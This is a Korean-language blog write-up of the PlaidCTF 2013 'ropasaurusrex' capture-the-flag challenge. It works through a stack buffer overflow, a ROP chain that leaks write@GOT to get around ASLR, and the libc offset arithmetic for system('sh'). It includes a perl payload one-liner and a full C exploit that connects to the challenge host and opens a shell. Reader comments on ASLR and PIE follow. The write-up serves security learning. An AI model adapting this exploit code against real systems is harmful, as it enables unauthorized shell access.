Plaid CTF 2013 ropasaurusrex.pdf


리눅스 데몬과 libc 의 바이너리를 주고

데몬이 돌고있는 주소가 주어진다.

54.234.151.114:1025


프로그램은 매우 간단하다.

어떤 함수를 한번 호출하고 write 함수를 통해 "WIN" 이라는 글자를 출력하고 끝난다.



80483f4 함수는 아래와 같다.


스택상에 136바이트의 버퍼를 할당한다음 256바이트를 read 로 입력받는다.

140바이트째 input 부터 리턴주소를 덮어쓰게 된다.

stdio 를 통한 입출력이 network 로 연결되는것을 보면 이미 슈퍼데몬을 통해

IO 가 리다이렉션 되어있으므로 remote shell 을 딸 필요없이 local shell 만 따면 된다.


바이너리는 NX 가 걸려있으므로 주어진 libc 를 보고 ROP 를 하라는 것이다.

그러나 ASLR 이 걸려있는지는 알 수가 없다.  그래서 처음에는 libc 베이스 주소를

brute-force 하면 되겠지... 하고 일단 exploit payload 를 아래와같이 작성했다.


stack : [&system][0xDEADBEEF][&"sh"]

perl -e 'print"A"x140, "\x50\x74\x16\x00\x41\x41\x41\x41\x01\xd8\x24\x00", "A"x104, "id"'


프로그램을 통해서 libc base 를 0x110000 ~ 0xFF0000 까지 변화하면서 돌려봤는데
아무 반응이 없다... 로컬상에서 테스트했을때는 쉘이 잘 터졌는데 아무 반응이 없는걸보면
분명 ASLR 이 걸려있고 libc 베이스가 일반적인 주소가 아닌것 같다.


고민끝에 write 와 GOT 는 고정된 주소에 있으므로 이를 통해 GOT 를 읽고

거기서부터 libc base 를 추정해서 다시 read 로 뛰는 방법을 생각했다.


got 는 0x8049600 에 있다.


취약점이 있는 함수에 브포를 걸고 GOT 를 확인했다.


write 부분 수행 직후의 GOT 를 확인하고 이전 GOT 엔트리와 비교하므로써 write@GOT 를 찾았다.


내 테스트환경에서의 write@libc 는 0x1ebda0 인데, 이건 중요치않고 write 가 GOT+0x14 에 있다는 것이 중요하다.

이제 머리속에 ASLR 이 걸려있어도 100% 쉘을 딸수있는 시나리오가 만들어졌다.

시나리오는 다음과 같다


1. ROP페이로드를 write( 1, 0x80489600, 256 ) 호출이후 한번더 취약함수로 뛰도록 설정

2. write 의 결과를 받고 거기서 GOT+0x14 로부터 write 의 주소를 가져옴

3. write, system, "sh" 간의 상대주소는 알고있으므로 이때의 system, "sh" 의 주소계산

4. 두번째 ROP 페이로드를 system("sh") 로 설정

5. 쉘 획득!!


시나리오를 위한 ROP 스택은 다음과 같이 구성해야한다.

ROP 페이로드 1 : [  &write   ][  &vuln  ][     1    ][   &got   ][   256   ]

ROP 페이로드 2 : [ &system ][  xxxx    ][ &"sh" ]


write 의 파일오프셋은 0xbf190 이었다.


system 의 파일오프셋은 0x39450 이다.


"sh" 의 파일오프셋은 0x11f801 을 사용했다.


이를 기반으로 계산된 상대주소는 아래와 같다

system 의 write 기준 상대주소 : -85D40

sh 의 write 기준 상대주소 : 602a5


이 시나리오를 수행해줄 프로그램을 C 로 아래와같이 작성했다

(당장 파이썬익혀야겠다... C로 하느라 훨신오래걸렸다)


#include "stdio.h"
#include "string.h"
#include "stdlib.h"
#include "sys/socket.h"
#include "sys/types.h"
#include "netinet/in.h" 
unsigned int system_offset = 0x0;
unsigned int sh_str_offset = 0x0;
char output[4096];
int main(int argc, char *argv[]){
 
    int sockfd;
    struct sockaddr_in servaddr;
    unsigned char rbuf[4096];
    char sbuf[4096];
    int cnt = 0;
    int n=0;

    sockfd=socket(AF_INET,SOCK_STREAM,0);
    bzero(&servaddr,sizeof(servaddr));
    servaddr.sin_family=AF_INET;
    inet_pton(AF_INET,"54.234.151.114",&servaddr.sin_addr);
    servaddr.sin_port=htons(1025);
    if(connect(sockfd,(struct sockaddr*)&servaddr,sizeof(servaddr))==0){
	printf("connected \n");
    }
    else{
        printf("cant connect\n");
	close(sockfd);
    }

	// ROP stack [&write][&vuln][   1   ][ &got ][ 256 ]
	memcpy(sbuf+140, "\x0c\x83\x04\x08\x26\x84\x04\x08\x01\x00\x00\x00\x00\x96\x04\x08\x00\x01\x00\x00", 20);
	send(sockfd, sbuf, 256, 0);
        n = recv(sockfd, rbuf, 4096, 0);

	if(n > 0){
		printf("got something!!\n");
		printf("[%d] %s\n", n, rbuf);
		dump(rbuf, 128);

		// GOT + 20 -> write
		memcpy(&system_offset, &rbuf[20], 4);		
		memcpy(&sh_str_offset, &rbuf[20], 4);

		system_offset -= 0x85d40;	//system 의 write 기준 상대주소 : -85D40
		sh_str_offset += 0x602a5;	//sh 의 write 기준 상대주소 : 602a5

		printf("system : %08x, sh : %08x\n", system_offset, sh_str_offset);

		memset(output, 'A', 256);
		memcpy(output + 140, &system_offset, 4);
		memcpy(output + 144, &system_offset, 4);
		memcpy(output + 148, &sh_str_offset, 4);
		memcpy(output + 152, &sh_str_offset, 4);

		send(sockfd, output, 256, 0);
		printf("sent %d\n", cnt);
		memset(rbuf, 0, 4096);

		while(1){
			memset(output, 0, 4096);
			printf("#>");
			fflush(stdin);
			fgets(output, 100, stdin);
						
			send(sockfd, output, strlen(output), 0);
			send(sockfd, "\n", 1, 0);
			printf("[%s] cmd sent\n", output);
			memset(rbuf, 0, 4096);
			n = recv(sockfd, rbuf, 4096, 0);
			if(n>0){	
				printf("got something2!!\n");
				printf("%s\n", rbuf);
				getchar();
			}
			else
				printf("no\n");
		}
	}

	printf("end\n");
	return 0;
}


결과적으로 아래와 같이 쉘을 딸 수 있었다.



flag : you_cant_stop_the_ropasaurusrex


처음에 바보같이 리모트쉘을 따야하는지알고 dup2 를 넣고, libc 베이스 주소계산 잘못하고

브루트포싱으로 시간날리고... C 코딩실수로 삽질하고... 별의별 삽질을 다하는통에

풀이에 무려 7~8시간 가까이 걸렸다... 지금보면 파이썬만 제대로 익히고

쓸대없는 삽질들만 안했으면 1~2시간이면 충분한 문제인거같은데

아직 너무 실력이 부족하다는걸 깨닳게 해주는 문제였다 -_-


'Games > CTF' 카테고리의 다른 글

SECUINSIDE 2013 127.0.0.1  (2) 2013.05.28
SECUINSIDE 2013 givemeshell  (0) 2013.05.28
PlaidCTF 2013 ropasaurusrex  (5) 2013.04.23
JFF2 Hunter  (0) 2013.03.19
DEFCON20 PWN100  (0) 2013.03.19
Forbidden BITS x96  (0) 2013.03.19
Posted by daehee87

댓글을 달아 주세요

  1. 2014.01.04 01:50  댓글주소  수정/삭제  댓글쓰기

    비밀댓글입니다

    • daehee87 2014.01.04 03:57 신고  댓글주소  수정/삭제

      안녕하세요~
      1. 처음에 brute-forcing 을 했지만 사실 삽질이었던것이죠.. libc 주소는 ASLR 로 변합니다.
      2. 리눅스에서 PIE 옵션이 걸려있지 않으면 ASLR 이 공유라이브러리와 스택/힙 에만 적용되기 때문입니다. write/GOT 는 executable 본체에 박혀있는데, PIE 옵션이 ELF 헤더에 들어가지 않으면 ASLR 에 영향을 받지 않습니다. 윈도우즈는 또 다를겁니다.

  2. 2014.01.05 13:02  댓글주소  수정/삭제  댓글쓰기

    비밀댓글입니다

    • daehee87 2014.01.06 14:29 신고  댓글주소  수정/삭제

      NX, PIE 는 ELF 헤더에 있는 설정이구요 ASLR 은 서버설정입니다. ASLR 의 경우 상황에따라 존재유무를 확인하는 방법이 다릅니다

  3. cou9ar 2018.07.20 16:36 신고  댓글주소  수정/삭제  댓글쓰기

    daehee87님의 글은 역시 많은 도움이 됩니다 감사합니다!! ♥.♥